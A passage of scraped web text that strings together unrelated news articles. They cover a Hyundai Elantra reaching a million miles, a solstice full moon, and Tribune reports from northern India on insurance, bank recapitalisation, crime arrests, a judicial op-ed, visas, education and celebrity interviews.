dumbs down to 200,000 miles a year, which is way above average when compared to a general American car that drives 14,000 miles annually. A Very Rare Achievement Haines is a delivery driver who drives 200,000 miles every year delivering auto parts and similar products. Her 2013 Hyundai Elantra touched the million-mile mark recently and that too on the original powertrain. In fact, the company was a little skeptical about this achievement. It pulled out the cars service records and a Carfax report. The South Korean manufacturer ran multiple tests to validate the Elantras odometer reading and had engineers inspect her cars engine casting numbers, wiring harness, and motor mounts. After everything was verified, Hyundai decided to reward Haines for the achievement and her loyalty by gifting her with a new 2019 Elantra while she was making a delivery. What They Had To Say Dean Evens, Hyundai Motors America Chief Marketing Officer, said that the achievement is a testament to the companys quality. As he noted, Reaching one million miles with the original powertrain in just five years is an extremely rare and incredible achievement. Talking about the Elantra and the secret to the achievement, Haines said, My Hyundai has been a great car, and the key to reaching the million-mile mark is to prioritize regular maintenance and to have a quality vehicle. Companies Will Need To Provide Seven Digit Odometers From Now On Million-miles are barely covered in passenger cars, so most manufacturers fit digital odometers max out at 999,999 miles. However, this being a special case, Hyundai decided to create a special 1 Million Mile emblem and add it in front of her odometer which reset to 0 miles. Even though the emblem was custom-made for Haines, it has now become an OEM part that is available to all the companys customers who have driven over one million miles in their Hyundai cars. Do you have any peers who have covered a million miles in their cars or SUVs? Let us know their stories in the comments section below. Further reading Read our full review on the 2015 Hyundai Elantra. Read our full review on the 2017 Hyundai Elantra. How fitting that on the longest night of the year, the moon will be shining brightly. Were seeing a lot of reports of a winter solstice full moon this year, and although the moon will be really really close to full on the shortest day of the year, December 21, she does not reach peak fullness until December 22. The moon will still appear beautifully full enough on the solstice, even its not as rare as if it were officially full. The Farmer's Almanac has been tracking heavenly events and seasonal changes since 1793, and they note that the moon has been full on the winter solstice just 10 times in the Northern Hemisphere. It wont happen again until 2094. But that doesnt mean the sky and the planets favorite little satellite wont be spectacular on the solstice heres what to know. The solstice moon will look full Given that the moon on the winter solstice will be at 99.5 percent illumination, most people would be hard-pressed not to think it's the actual full moon. Illumination of 98 percent or more appears as a full moon. Weve got syzygy! Although this term sounds more like it should be the name of Mister Mxyzptlks pet, it actually describes the precise moment in time when the moon is full. It is the instant when the sun and the moon are on opposite sides of Earth, marking syzygy of the Sun-Earth-Moon-system. For this month's full moon, it happens at 12:49 p.m. EST on December 22. Plenty of moon to see Around the full moon phase, the moon is visible in the sky generally from sunset to sunrise. Given the very long nights around the winter solstice in New York City, the 21st will deliver a mere 9 hours, 17 minutes, and 18 seconds of daylight! it means that the near-full and full moon will be in the night sky for a long time. What to call her? I love that we have names for the full moon we can't hide our affection for this pearl of a natural satellite, a celestial object that holds a powerful sway over us mere humans. In Native American cultures which tracked the calendar by the moons, Decembers Full Moon was known as the Full Cold Moon, as it marked the time when winter begins its cold grip. In some tribes, it was called the Long Nights Moon, given the long nights and short days of December. Meanwhile, the Old English/Anglo-Saxon name is the Moon Before Yule Sky mapping On the solstice, sky-gazers will be able see the plump moon cozy up to the bright star Aldebaran. According to NASA, at 2:31 a.m. EST on December 21, the moon will share the same celestial longitude as Aldebaran, an occurrence known as a conjunction. The full moon will be in the constellation Taurus and will rise about 15 minutes after sunset on the 22nd. Santa's little helper By Christmas Eve, the moon will still be glowing brightly with 96.7 percent illumination. Good news for people navigating rooftops looking for chimneys to slip into. Waxing, waning After she is full on the 22nd, the waning moon will diminish on her way to the last quarter moon of the year, which will occur on December 29 at 4:34 am EST. Let the moon guide you And this is where we take a hard swerve from science to note the best days for activities based on the moons sign and phase in December, according to the Farmers Almanac: December 1, 3, 29, 30: Cut hair December 5, 28: Quit Smoking December 25, 26: Travel for pleasure And some bonus magic The full moon isn't the only star of the night sky, so to speak. Few things are as magical as the heavens full of shooting stars, and December gives us that gift in the form of the Ursid meteor shower. The Ursids begin around December 17 and perform their spectacular show until just after Christmas. They are named for the constellation Ursa Minor, DBA the Little Dipper, and appear to shoot out from it. One can usually see between 10 and 100 shooting stars per hour during this event. This year's peak happens on the 22nd, but the moon may brighten the sky too much to get the full effect, so look for them (best after midnight) in the days before and after. Happy solstice and sky-gazing! sanjiv@tribunemail.com Vijay C Roy Tribune News Service Chandigarh, December 20 Call it sheer laziness or lack of awareness, almost 70-75% of two-wheelers plying on Punjab and Haryana roads are uninsured, despite motor insurance being mandatory under the law. According to insiders, besides riders, even insurance distributors have never shown interest due to low margins in renewing insurance cover for two-wheelers. As per law, it is mandatory to have an insurance cover when vehicles are purchased for the first time, but in many cases, they are not renewed in subsequent years. In case of four-wheelers, the percentage of uninsured vehicles is in the range of 15-20%. As per the statistical abstract of Punjab, in 2016-17, around 75 lakh two-wheelers were plying on the state roads. Similarly, in Haryana, the number of two-wheelers was around 60 lakh. According to estimates, in case of two-wheelers, by the second year, a majority of the owners do not renew the insurance, said a senior executive working with a private insurance company. On an average, around 54,000 two-wheelers are sold across the country every day and the northern region comprising Punjab, Haryana, Chandigarh, Himachal Pradesh, Jammu & Kashmir, Uttar Pradesh, Uttarakhand and Rajasthan contribute 30% to the total sales. Almost 70-75% of the two-wheelers in the region are uninsured. The penetration of motor insurance in cities is better than the rural areas. A very low percentage of owners renew their policies because of laziness and lack of awareness, said Aman Dhall, Head of Communications, PolicyBazaar.com Group. Senior executives pointed out that lack of enthusiasm in renewing the policy by the agents and distributors was also one of the main reasons. Normally, an agent gets less than Rs 100 as commission in renewing a two-wheeler policy. So they find it less attractive to renew the policy and instead prefer to renew the policy of four-wheelers where margins are lucrative, said an executive working with public sector insurance company. In order to address the low penetration of motor insurance in two-wheelers, the insurers suggested that the state government should map the registered vehicles database from Regional Transport Offices (RTOs) and insured vehicles database from insurance companies. On the basis of information, they can send notices to vehicle owners. They said stricter implementation of law by the traffic police was also a need of the hour. Perturbed over low compliance rate across the country, the Supreme Court has made third party motor insurance mandatory for two-wheelers for a period of five years and three years for four-wheelers. A third-party policy only covers the damage to a third party and property involved in the accident but it does not cover any damages to the bike belonging to the policyholder. On the other hand, a comprehensive policy provides an overall coverage. pardeepdhull@gmail.com New Delhi, December 20 The government on Thursday sought Parliaments approval for additional gross expenditure of Rs 85,948.86 crore, about half of which is for capital infusion in public sector banks through recapitalisation bonds, during the current fiscal ending March 2019. Of the total, only Rs 15,065.49 crore would be net cash outgo, said the second batch of Supplementary Demands for Grants 2018-19 tabled by Finance Minister Arun Jaitley in the Lok Sabha. Through these grants, the government proposes to infuse Rs 2,345 crore in a turnaround plan for national carrier Air India. Approval of Parliament is sought to authorise gross additional expenditure of Rs 85,948.86 crore. Of this, the proposal involving net cash outgo aggregates to Rs 15,065.49 crore, and gross additional expenditure, matched by savings of ministries/departments or by enhanced receipts/recoveries aggregates to Rs 70,882.21 crore, it said. The government has proposed additional capital infusion of Rs 41,000 crore in state-owned banks through issue of government securities (recapitalisation bonds), said the document. In October 2017, the government decided to infuse Rs 2.11 lakh crore in PSBs over the next 2 yearsthrough budgetary provisions of Rs 18,139 crore, recapitalisation bonds of Rs 1.35 lakh crore, and the balance through raising of capital by banks from the market while diluting government equity estimated at Rs 58,000 crore. The government envisaged that PSBs would raise Rs 58,000 crore from the stock markets by March 2019 to meet Basel III norms. However, due to subdued market conditions, banks have been unable to raise enough funds from the markets so far. In addition, non-performing assets of many banks have seen a spurt in the first two quarters of this fiscal, putting stress on their bottom lines. As per the document tabled in the Lok Sabha, Parliaments approval has been sought for expenditure of Rs 250.18 crore for providing additional equity investment in form of bonus shares issued by Oil India Ltd. Besides, an additional spending of Rs 5,343.78 crore for various projects and schemes of Ministry of Railways has been planned. The government plans to spend Rs 247.5 crore towards interest subvention for incremental credit to the micro, small and medium enterprises and Rs 500 crore for grant for creating capital assets to National Ganga River Basin Authority, said the document. PTI amansharma@tribunemail.com New Delhi, December 20 The government on Thursday said it will enhance the capital infusion in public sector banks to Rs 83,000 crore, taking the total to Rs 1.06 lakh crore for the fiscal. The capital will be pumped in over the next few months, Finance Minister Arun Jaitley said, adding that the move will increase the lending capacity of public sector banks (PSBs) as well as help some of them come out of RBI's watchlist. The government had earlier announced infusion of Rs 65,000 crore in PSBs in 2018-19, of which Rs 23,000 crore has already been disbursed, while Rs 42,000 crore is remaining. The government Thursday sought Parliament's approval for infusion of an additional Rs 41,000 crore. This amount, sought to be infused in the banks through issue of government securities (recapitalisation bonds), is over and above the Rs 2.11 lakh crore recapitalisation plan announced in October 2017. The recapitalisation, the finance minister said, will enhance the lending capacity of state-owned banks and help them come out of RBI's Prompt Corrective Action (PCA) framework. "Now this Rs 1.06 lakh crore this year and Rs 83,000 crore which is remaining is going to be utilised under four different heads. The first of course is to ensure that banks meet their regulatory capital norms. "The second will be that the better performing banks under PCA are given capital to achieve a 9 per cent Capital to Risk Weighted Assets Ratio (CRAR) and required capital conservation buffer and the 6 per cent net NPA requirements so that some of them are able to come out of the PCA itself," he said. The third category will be the non-PCA banks which are very close to the PCA red-line will be provided capital so that they do not come under the framework, he said. Some capital will also be provided to banks which are going to be amalgamated to meet regulatory norms and growth capital, Jaitley added. Earlier this year, the government had announced merger of Dena Bank and Vijaya Bank with Bank of Baroda. Jaitley also said the non-performing assets (NPAs) recognition, started in 2015, is almost complete, and the September quarter has shown decline in bad loans. Gross NPAs of PSBs started declining after peaking in March 2018, registering a reduction of Rs 23,860 crore in the first half of the fiscal. Speaking to reporters, Financial Services Secretary Rajiv Kumar said three banks were on the verge of being included in the PCA, but with this infusion, they will be safe. A total of 11 out of the 21 PSBs are under RBI's PCA framework, which imposes lending restrictions on weak banks. "India's PCA framework for weaker banks has more onerous thresholds, that is higher capital thresholds and a net NPA threshold that further embeds capital requirement on account of provisioning of NPAs. "Today's proposal is an expression of government's commitment that each PSB is an article of faith, and aims at securing compliance even for the higher regulatory norms," Kumar said. Asked if the Nirav Modi scam-hit Punjab National Bank (PNB) will get capital support, he said it could be a candidate for fund infusion. Kumar said PSBs have recovered Rs 60,726 crore of bad loans in the first half of the current fiscal year, which is more than double the amount recovered in the corresponding period last year. In October 2017, the government decided to infuse Rs 2.11 lakh crore in PSBs over the next two years-through budgetary provisions of Rs 18,139 crore, recapitalisation bonds of Rs 1.35 lakh crore, and the balance through raising of capital by banks from the market. The government envisaged that PSBs would raise Rs 58,000 crore from the stock markets by March 2019 to meet Basel III norms. Kumar said out of this, Rs 24,400 crore has been raised by banks so far. The secretary also said four banks-SBI, Bank of Baroda, Indian Bank and Vijaya Bank-may not need capital. - PTI editorial@tribune.com Tribune News Service Chandigarh, December 20 The crime branch of the UT police have arrested three persons, who were allegedly involved in vehicle thefts in the city. The suspects had also struck at five shops in Sector 46 last month. A team, led by Inspector Amanjot Singh, in-charge of the crime branch, nabbed the three thieves Dharambir, alias Pittal, a native of Uttar Pradesh, and Shish Pal and Bharat, both residents of Lohgarh village, Zirakpur. The suspects were arrested near the Shastri Nagar light point, Mani Majra. Seven two-wheelers were recovered from the trio. DSP Pawan Kumar said the suspects used to steal two-wheelers and park these at various parking lots. The suspects then used to look for customers and sell these vehicles to them at throwaway prices, he said. The police said Dharambir and Shish Pal were proclaimed offenders (POs) in three theft cases registered against them at city police stations. Made off with Rs 80,000 from Sec 46 showrooms The trio had committed thefts at five showrooms in Sector 46 and made off with cash on the intervening night of November 26 and 27. The thefts were reported from SCOs 57, 58, 60, 61 and 64 from where around Rs 80,000 was stolen. The incident was recorded in CCTV cameras installed at showrooms. The suspects had arrived in a stolen Esteem car, which was later recovered by the police. ROBINSINGH@TRIBUNE.COM Tribune News Service Chandigarh, December 19 Two youths, including an MBA, both residents of Himachal Pradesh, who were riding a Hyundai Verna car, were nabbed by the Narcotics Control Bureau (NCB) with 16.5 kg of charas, valued at around Rs 25 lakh. NCB sleuths had information about the two youths involved in drug trafficking following which a Verna car, bearing a Himachal number, was intercepted near the Khuda Lahora bridge on December 18. The suspects, both natives of Bhuntar in Kullu district, were riding the vehicle. Mohinder Jit Singh, Assistant Director, NCB, Chandigarh, said the duo had concealed 16.5 kg of charas under the seat, which was recovered while checking the vehicle. The charas was meant to be supplied to a drug peddler in Delhi, he said. Sources said the charas was brought from the Malana valley near Bhuntar. NCB sleuths said charas from the Malana valley cost between Rs 1.50 lakh and Rs 2 lakh per kg, depending upon the quality. The charas recovered from the duo is valued at Rs 25 lakh, the NCB official said. Officials said the Hyundai Verna was owned by the father of one of the suspects, who claimed to be an MBA. The suspect claimed that he pursued MBA in Tourism from a private university in Mohali district. However, we are yet to to verify the same, said the NCB official. This is the 49th seizure of drugs this year by the NCB, Chandigarh. Drug Was to be supplied in Delhi The suspects, both natives of Bhuntar in Kullu district, were riding a Hyundai Verna car. Mohinder Jit Singh, Assistant Director, NCB, Chandigarh, said the duo had concealed 16.5 kg of charas under the seat, which was recovered while checking the vehicle. The charas was meant to be supplied to a drug peddler in Delhi, he said. SS Sodhi SS Sodhi Ex-chief Justice, Allahabad High Court OUR criminal justice system today has to contend with a wholly new dimension of crime, quite unlike what we were familiar with, like theft, burglary, fraud and murder. Now besides such crimes, courts have to deal with crimes involving insurrection, terrorism, mob violence, cyber and white-collar crimes, and other crimes of a sophisticated nature. Our Constitution and laws have provided for the manner of investigation of crime, how trials are to be conducted and the punishment. The laws are in consonance with the Constitution, rules of natural justice and human rights. What is more, except in extraordinary situations and for reasons to be recorded by the judge, all trials have to be conducted in open court. In other words, our laws provide for a fair trial. For criminal justice to serve its real purpose it needs to be speedy to act as a deterrent and promote law and order. It must also be borne in mind that the real deterrent against crime is the certainty of punishment not the severity of it. The question arises: do we have what is required to deal with crimes that we now have to contend with? From this standpoint, we cannot avoid noticing the ever-increasing criminal cases pending in our courts, coupled with the time their disposal takes. On paper it looks as if a large number of criminal cases have been disposed of but they will be figures of disposal pertaining mainly to minor crimes. As regards serious crimes, to illustrate, at the high court in the beginning of this year, there were 11,043 cases pending as arrears. By October-end, 1,655 new cases were instituted. Only 213 were disposed of, taking the arrears to 12,485. The number of murder references, too, rose from seven to 14. Turning to the sessions court, during the above period in Punjab, the murder cases rose from 1,207 to 1,221, and in Haryana, from 1,533 to 1,714. Similar is the picture of other serious criminal cases in both states. Delays in disposing of criminal trials, particularly those involving serious crimes, give greater opportunity to the accused to deter witnesses from deposing in court, whether by threats or bribes or otherwise, more so when our system does not provide for the protection of witnesses. There was a time in the mid-70s, when the Sessions Judge at Amritsar (in other sessions divisions of Punjab and Haryana, too) would complete a murder trial in two days, and undertake two murder trials every week, besides civil cases on two days each week. Now, it is said a murder trial may take anything from one to three years. This is an important factor accounting for the low conviction rate, particularly with regard to offences involving serious crimes. This cannot but have an effect on respect for the law, as also on the law and order. There is no magic wand to reduce the pendency of criminal cases. This being the situation, both with criminal and civil cases, can we afford to provide for three appeals from junior judges at the District and Sessions court, to the high court, and finally to the Supreme Court? There are some cases where the trial needs to be taken out of turn, like those that have acquired public notoriety or come in the gaze of the media and, of course, against legislators, as they cannot be expected to bar those with criminal cases from the legislature. The other aspect of criminal justice relates to crimes arising from terrorism, mob violence and the like. They not only bring in issues of rights, but also the challenge of dealing with the culprits as per laws. This was put to the test during militancy in Punjab. What happened then and why deserves a case study perhaps by a truth and reconciliation commission of the South Africa model for the real story to be revealed to safeguard against such a situation in future. Faced with that situation, the Terrorist and Disruptive Activities Act had been enacted. Hundreds had been detained, but mainly for minor offences like being in possession of a knife or country-made pistol. There was barely any conviction for a serious offence and this was when the Act made admissible in evidence confessions made to the SP. Hardly any police officer came forth to give evidence regarding any confession made to him. It was an open secret then that there had been several extra-judicial killings. This meant that the police was the investigator, prosecutor, judge and executioner. Not surprisingly, there were instances of prisoners filing writ petitions in the high court, praying that if shifted to another jail, they be taken out in iron-fetters, lest they are killed by the police on the pretext that they had tried to escape. A glaring instance was of an alleged militant detained in Pune, whose detention under the National Security Act was coming to an end. His brother filed a writ petition in the high court, praying that his brothers detention be extended as he apprehended that if he is brought back to Punjab, he would be killed by the police. A weeks notice of this petition was given to the State. However, before the petition could come up for hearing, the alleged militant had been killed by the police. It was said in a newspaper that when he was being taken for the recovery of weapons, some militants tried to rescue him and he was shot in the ensuing encounter. When the petition came up for hearing, the judge wanted to hold an inquiry, but had to drop it when the militants brother begged him not to proceed any further, lest some more members of his family are killed. Such was the fear of the police. Extra-judicial killings denote a blatant disregard for the rule of law and failure of governance. It is in dealing with cases of terrorism and mob violence and the like that the real challenge confronts our criminal justice system. There is a need to set up an adequate number of courts to ensure speedy disposal of cases and to strengthen our investigative agencies. The maintenance of law and order and safety of citizens is an essential attribute of good governance. shriaya.dutta@tribuneindia.com Houston, December 20 Three Indian-origin students have been named among the 25 most influential teens of 2018 by Time magazine for making a mark across numerous fields. Indian-American Kavya Kopparapu, Rishab Jain, and British-Indian Amika George are among the group who have become inspirations for youngsters across the world due to their spectacular achievements through their work and passion. Rishabh, an eighth grader, who has developed an algorithm that can possibly be a cure to pancreatic cancer. Kavya Kopparapu is a freshman at the Harvard University. She developed a deep-learning computer system that can scan slides of tissue from brain cancer patients looking for differences in density, colour, texture and cellular alignment that are unique to that particular person's case. She developed the system after learning how the survival rate of glioblastoma, an aggressive brain cancer, has not improved from the past 30 years. According to Time magazine, her goal is "to develop targeted therapies that are also unique to the person." Amika George's goal is to convince policymakers to end "period poverty," as she calls it, by funding the distribution of menstrual products to girls and women who cannot afford them. "It really upsets me," she tells the magazine of learning that many girls in the UK were routinely missing school during their periods because they could not afford to buy menstrual products. Meet TIME's 25 most influential teens of 2018 https://t.co/FYu0J4JMUH TIME (@TIME) 20 December 2018 "The government knew this was happening on their watch, but they were refusing to find a solution," she said. She launched the #FreePeriods campaign as a response, gathering nearly 200,000 signatures on her petition to help eradicate period poverty; the movement eventually garnered the support of over a dozen UK policymakers, galvanising the government to allocate funds to the issue for the first time. PTI amansharma@tribunemail.com Varinder Singh Tribune News Service Jalandhar, December 20 The Conservative UK government's white paper on its post-Brexit liberal visa and immigration strategy notwithstanding, all the four Punjabi Labour Party MPs -- Varinder Sharma, Tanmanjeet Singh Dhesi, Preet Gill, Seema Malhotra -- and 262 other Labour lawmakers have decided to oppose the move accusing the UK government of "misleading" and "misguiding" people on the sensitive issue. The UK government's White Paper on its proposed post-Brexit visas and immigration strategy tabled in the House of Commons was being "widely hailed" as beneficial for Indian students and professionals for it has advocated removal of the existing annual cap of 20,700 skilled work visas issued to skilled workers. The Theresa May government's announcement was being touted as the biggest visa system 'shake-up' in the past 40 years. The proposed skilled immigration system will set highly-skilled migrants from anywhere in the world and it was being seen as a 'favourable' change for it will improve the post-study work environment for international students. The new liberal visa and immigration system was expected to offer 'level playing field' for Indians and South Asian aspirants for it will put an end to existing free movement of people of 27 other members of the Economic Block in the UK. It will also mean that people from the existing EU countries and from rest of the world, including South Asia, will be professionally treated at par in the UK. However, all the four Punjabi opposition Labour Party MPs have termed the proposed visa and immigration system of UK "nothing but a gimmick". "Our party and all four of us are going to oppose it. Prime Minister Theresa May has tried to mislead people on this issue. On one hand, she has said on the floor of the House that the UK was going to strictly enforce a policy wherein not more than one lakh immigrants or skilled workers will be allowed to enter the country in a year and on the other, the government has tried to show that it is going to be very liberal on this front. It is self-contradictory for lakhs of migrants who come to the UK every year under the existing system. If you think, the proposed system will benefit the Indian, Punjabi and South Asian migration aspirants or skilled workers in a big way, it will be nothing but a wrong perception," said Slough Labour MP Tanmanjeet Singh Dhesi while talking to The Tribune over the phone. He said his party's all 266 lawmakers, including the Punjabi-origin MPs Caucus --- Varinder Sharma, Tanmanjeet Singh Dhesi, Preet Gill, Seema Malhotra --- are united over the issue and they will be exposing the Conservative government in the days to come on this issue. "The government's agenda is to decrease the flow of immigrants and skilled workers and not to increase it," alleged Dhesi. The proposed changes in the White Paper were likely to attract more international students to the UK. It has proposed to offer six months' post study leave to all Bachelor and Master's degree holders after completion of their degrees with an objective to provide them with more time to find permanent skilled work and also to allow them to work during this period. For Dhesi and other three Punjabi MPs, the proposed hike of minimium salary requirement of 30,000 pounds for skilled migrant workers seeking five-year visa was another 'grey area'. "It is quite a high amount and for the workers it will difficult to find prospective employers offering this much of salary in most of cases," added Dhesi and other MPs. editorial@tribune.com Tribune News Service Karnal, December 20 To highlight the burning issues pertaining to education and pedagogy technology along with creativity in methodology in education, The Tribune in association with Chandigarh University organised annual Principals' meet and excellence awards ceremony in Hotel Noor Mahal, Karnal. Principals from 60 schools of Karnal, Kurukshetra, Panipat and adjoining Radaur and Pundri participated and shared their ideas on Innovation Pedagogy and Effective Teaching and Learning. Speaking on the occasion, Dr RS Bawa, Vice-Chancellor of Chandigarh University, encouraged the Principals to strengthen the foundation of students. He emphasised on the use of technology and inculcating core human values in students for holistic development. Dr Bawa discussed about the changes in the higher education sector. Citing the example of Chandigarh University, he said that they have adopted a hi-tech system and made the university paperless as most of the works were being done without paper. He also mentioned that the students of their university are performing well in all spheres of life. KK Bajaj, former Dean of Colleges-cum-Director of Himachal Pradesh University, College Development Council, acknowledged the Principals as role models and exhorted them to have positive attitude and focus on creative teaching methodology. "One should not follow routine activity as teaching is not a one-way traffic," he said. Students must excel and bring out their true potential, he added. Bajaj stressed on steady reading. "Dont try to cover the syllabus in haste, but uncover the subject." He praised the services of The Tribune group and maintained that this esteemed newspaper is the mirror of society and it has done a commendable job in journalism. Excellence awards Academics Arya Senior Secondary School, Gharaunda JPS Academy, Assandh The Gurukul, Kurukshetra Dyal Singh Public School, Karnal Delhi Public School, Karnal Sports Sanjay Gandhi Memorial Senior Secondary School, Dhanora Partap Public School, Sector-6, Karnal Universal Academy, Gharaunda The Gurukul Kurukshetra Sanskriti School, Karnal Outstanding Community Initiative MM Public School, Assandh Gita Niketan Awasiya Vidyalaya, Kurukshetra St Xaviers High School, Panipat Dyal Singh Public School, Panipat Oxford Public School, Uklana Mandi Eco-friendly School Dyal Singh Public School, Panipat Partap Public School, Karnal Guru Nanak Dev Public School, Pharal Vivekanand Vidya Niketan, Assandh Victor International School, Gharaunda Outstanding Contribution to Education Aman Kaur, Principal JNV Niwarsi, Kurukshetra Dr Jasjeet Kaur Sood, Principal, OPS Vidya Mandir, Karnal Awards of excellence to schools Partap Public School (Jernaily Colony Karnal) DPS (Kurukshetra) DAV Centenary School (Radour) DAV Police Public School (Madhuban) SMB Geeta (Kurukshetra) The Gurukul (Nilokheri) BPR School (Pundri) Navyug Kurukshetra "What the representatives said... There is a need for student-centric pedagogy and focus on syllabus which promotes creativity Raj Shree, Principal, The GDR Gurukul, Panipat Innovation is needed in pedagogy and value inculcation for character-building of students Poonam Nevet, Principal, Pratap Public School, Jernaily Colony, Karnal There is desperate need for innovation and for bringing change by providing training to teachers Jitender Singh. Arya Senior Secondary School,Gharaunda Traditional and modern ways are needed for learning. There should be guru-shishya concept along with technology Raman Sharma, Principal, DAV Public School, Radaur It is imperative to build bridges between technology and values. Intelligence is wisdom to make the right choice Manjosh Pal Singh, Principal, DAV Police Public School, Madhuban Over a period of time, the mindset of students has changed. So the methodology of teaching should be modified Naryan Sing, Principal, Geeta Niketan Awasiya Vidyalaya, Kurukshetra Electronic gadgets are helpful, but there should be clarity of the concept in the mind of the teachers Vijay Gaur Principal, Vivekanand Vidya Niketan, Assandh editorial@tribune.com Sushil Manav Tribune News Service Chandigarh, December 20 In a first in the country, people in Haryana will be able to avail more than 400 schemes and services from 37 different online platforms through a single online platform by visiting the website www.saralharyana.gov.in. Also, to avail these services, people can visit any of the 115 facilitation centres (Antyodaya Saral Kendras) set up at the district, subdivision and tehsil levels or 4000 Atal Sewa Kendras at the village level. Antyodaya Saral is a flagship initiative of the state government to enable hassle-free citizen service delivery to the people. Rakesh Gupta, project director, said every year, 60 lakh people applied for these schemes and services in Haryana. He said this was the first-of-its-kind transformation and digitisation programme in the country, increasing convenience to citizens. Chief Minister Manohar Lal Khattar would launch 115 Antyodaya Saral Kendras from Karnal on December 25. Gupta said taking a step towards transparent citizen service delivery, he would dedicate to the public Antyodaya Saral portal for delivery within timelines notified under the Haryana Right to Service Act, 2014. During the launch, Antyodaya Saral dashboard app would be unveiled, which would make the process of tracking overdue applications easier for government officials, increasing efficiency of the system. Continuing the efforts of serving citizens, the government would also launch an IVR feedback system for scheme and service delivery, said Gupta. Under this project, all schemes and services of the government were being brought on a single online platform. Another key feature of this project was that a citizen could track his or her application using application ID. One could see the date by which he or she should receive the service or scheme and the current status of the application. Such a technology had been created in-house by the government instead of depending on any external agency, Gupta said. editorial@tribune.com Tribune News Service Rewari, December 20 Union Minister Rao Inderjit Singh on Thursday called on Prime Minister Narendra Modi in Delhi regarding the demand of establishing AIIMS in Manethi village, rapidly depleting water table in South Haryana and defence university at Binola village (Gurguram). Rao informed the PM that residents of various villages had been staging an indefinite dharna in Manethi village for the past three months for the fulfilment of the CMs promise about the setting up of AIIMS there. The CM had announced the same three years ago, but nothing had yet been done in this respect, he added. After listening to the issues, the PM not only gave a positive response towards the demand of AIIMS in Manethi but also sought a report from the authorities concerned in this respect. I also apprised him of the depleting water table in South Haryana and asked him to resolve the issue under a special scheme, said Rao. He said the PM was also told that water-table had gone down over 2,000 feet in some parts of South Haryana, making locals struggle for potable water. Farmers had to face many hardships in farming due to the scarcity of water, the minister added. I also discussed with the PM about the nations first defence university in Binola village (Gurugram) and demanded from him to get the Act for establishing the university passed in the Lok sabha so that it could be set up at the earliest. The PM assured me of taking steps in this direction soon, said Rao. editorial@tribune.com Tribune News Service Shimla, December 20 The state government on Thursday filed a review petition in the High Court against the earlier order that had restrained an amendment to the Town and Country Planning Act. The review petition will come up for hearing before the Bench headed by the Chief Justice on Friday. The move is aimed at providing relief to thousands of house owners who are awaiting regularisation of their structures raised in violation of the building norms. In its order on December 22, 2017, the High Court had restrained the state government from making amendments to the Town and Country Planning Act. The state Assembly had passed the HP Town and Country Planning Regularisation Amendment Act, 2016, and sent it to the Governor for assent. An expert committee appointed by the National Green Tribunal had warned the government against retention policies, which it felt not only dishearten law abiding citizens, but also remind them of Kathmandu and Uttarakhand catastrophes. editorial@tribune.com Tribune News Service Shimla, December 20 The Himachal Government College Teachers Association on Thursday announced to boycott all hostel duties and other assignments if the government took one-sided action against two teachers in connection with a clash between hostel boys and a mess worker at Government College and Central of Excellence, Sanjauli, on December 13. Association members also met Education Minister Suresh Bhardwaj and alleged that student union leaders were presenting only one side of the story and pressurising the state government to transfer teachers without conducting a fair and proper investigation. The minister assured them of a fair probe into the issue. Dr Ram Lal Sharma, general secretary of the association, said if the government took one-sided action against the two teachers who were sent to the spot to solve the issue, then the entire state teaching fraternity would boycott hostel and other assignments. Association members said although the minister had assured them of a fair probe, it was shocking that one of the teachers had been transferred at the behest of students leaders who had no connection with the college. The association has sought intervention of Chief Minister Jai Ram Thakur in this regard. The association said no teacher was involved in the thrashing of a student whose photo with the bleeding nose was posted on the social media. After the clash, there was a commotion at the college. The student might have sustained injury during that time, said association members. editorial@tribune.com Rifat Mohidin Tribune News Service Srinagar, December 20 On the directions of the Ministry of Home Affairs (MHA), the J&K Police have been asked to launch a Student Police Cadet scheme in all 22 districts of the state in both private and government schools so that youth can be kept away from terrorism and other anti-social activities. The directions issued to all Senior Superintendents of Police (SSPs) in the state says that it be treated as most urgent. The Student Police Cadet scheme to be launched in the state with the directions to identify four schools (two boys, two girls) to be nominated from each district comprising 200 students, 50 students from each school (100 boys, 100 girls) of J&K, says the order issued by the Additional Director General of Police, Law and Order, to all districts. The Student Police Cadet scheme shall be a one-year duration programme, the order says. Apart from the police department, four other government departments will be involved in the programme. The J&K departments involved (other than the police department) in this scheme shall be the health and medical services, forest and environment, municipality and urban development, youth services and sports, education, fire and emergency services, it says. The patrons for the programme will be the Deputy Commissioners of the respective districts. The order says the SSP will be the chairman of the programme in each district. There shall also be school-level advisory committees, it says. The students of Class VIII and IX are to be admitted in the programme (preference to be given to less privileged), the order says. The SPC scheme is the solution to several major internal challenges faced by the police organisation, reads the order The order further says that the syllabus should be prescribed after it is received from the MHA. The training programme will include study classes, physical training, field visits, camps and practical projects. An hour per week, after school timings, followed by quarterly tests and half-yearly visits to the capital cities of Jammu and Srinagar during the vacation in winter and summer, respectively, it says. The order says that it is part of a nationwide SPC programme as it has already been started in some other states to bridge the gap between the police and the youth. shriaya.dutta@tribuneindia.com Mumbai, December 20 In an apparent reference to the recent mob violence, actor Naseeruddin Shah said at many places the death of a cow is being given more importance than the killing of a policeman. The veteran actor also expressed anxiety over the well-being of his children, who he said have not been brought up as followers of any particular religion. Shah made the comments in a video interview with Karwan-e-Mohabbat India and the organisation shared it on its YouTube channel on Monday. The actor said the "poison has already spread" and it will be now difficult to contain it. "It will be very difficult to capture the djinn back into the bottle again. There is complete impunity for those who take law into their own hands. In many areas we are witnessing that the death of a cow is more significance than that of a police officer," he added. Shah, who is married to actor Ratna Pathak Shah, said they chose not to give any religious education to their childrenImaad and Vivaanas he believes "being good or evil has nothing to do with religion". His fear for his children's safety is reminiscent of Aamir Khan's comments on intolerance in 2015 that had sparked a major controversy. "I had received religious education as a child. Ratna (his wife) was from a liberal household so she received next to none. And we chose not to give religious education to our children because I believe being good or evil has nothing to do with religion. "We taught them about good and bad, what our beliefs are. I did make them learn a few verses from the Quran Sharif, as I believe reciting them improves one's articulation. Just like one's articulation improves reading from the Ramayana or Mahabharata from its original..." Shah added. The actor is worried that the situation would not improve "anytime soon" and said he is angry, not scared. "I feel anxious for my children because tomorrow if a mob surrounds them and asks, 'Are you a Hindu or a Muslim?' they will have no answer. It worries me that I don't see the situation improving anytime soon. "These matters don't scare me, they make me angry. And I feel every right-thinking man should feel angry, not scared. This is our home, who dare evict us from here?" he said. On December 3, a mob, including right-wing activists, attacked a police station over alleged cow slaughter in the areas. The incident led to the deaths of Inspector Subodh Kumar Singh and another man. PTI shriaya.dutta@tribuneindia.com Mumbai, December 20 Actor Govinda, known for being an energetic dancer, says a good dancer doesnt need too many words to communicate his feelings. While shooting for an episode of the show "Dance+4", the celebrity guest spoke about dancing and more to read in a statement. "As an artiste, one should be observant and try to convey the 